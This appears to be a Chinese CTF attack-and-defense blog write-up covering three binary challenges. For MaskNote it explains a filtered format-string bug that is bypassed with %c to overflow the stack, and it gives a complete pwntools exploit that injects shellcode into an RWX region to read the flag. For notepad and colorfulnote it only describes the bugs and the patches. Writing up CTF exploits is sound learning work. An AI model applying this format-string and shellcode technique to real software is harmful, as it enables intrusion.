MaskNote
一道假的堆题,漏洞是sprintf的格式化字符串漏洞,过滤了%x,%n和%p,但是没用过滤%c,利用格式化字符串的%c可以实现栈溢出。
程序在初始化的时候mmap了一块很大的地址,可读可写可执行,塞shellcode就可以。
attack
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| from platform import libc_ver from pwn import * from hashlib import sha256 import base64 import time context.log_level='debug' context.arch = 'amd64'
io = lambda : r.interactive() sl = lambda a : r.sendline(a) sla = lambda a,b : r.sendlineafter(a,b) se = lambda a : r.send(a) sa = lambda a,b : r.sendafter(a,b) lg = lambda name,data : log.success(name + ":" + hex(data))
def z(): gdb.attach(r) time.sleep(2)
def exp(): global r global libc r=process('./MaskNote') code = shellcraft.open('flag') code += shellcraft.read('rax',0x80808100,0x40) code += shellcraft.write(1,0x80808100,0x40) shellcode = asm(code) gdb.attach(r) sla(b"your name:" ,b"x1ngx1ng"*2+shellcode) sla(b"Mask:",b"%136c"+p64(0x80808010)) sla(b">>",b"5") io() if __name__ == '__main__': exp()
|
fix
修复的话就把第一次read name的长度缩小就可以
notepad
一道2.35的堆题,利用没怎么看(不熟),就修了洞
问题在这,free完堆块后指针置零的时候下标歪了。导致可以uaf
fix
修复的话就把下标改成了0
colorfulnote
main函数不知道为什么ida没法解析。就看汇编
洞在这里,输入key1、key2异或之后有概率溢出,会导致进程崩溃
fix
一开始想的是直接nop异或,但是报了服务异常
赛后问了nameless师兄,他的做法是nop下面那条把寄存器里的值存到栈上的指令。。。
很可惜当时没有试,痛失分数
写不下去了
我即将死亡
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !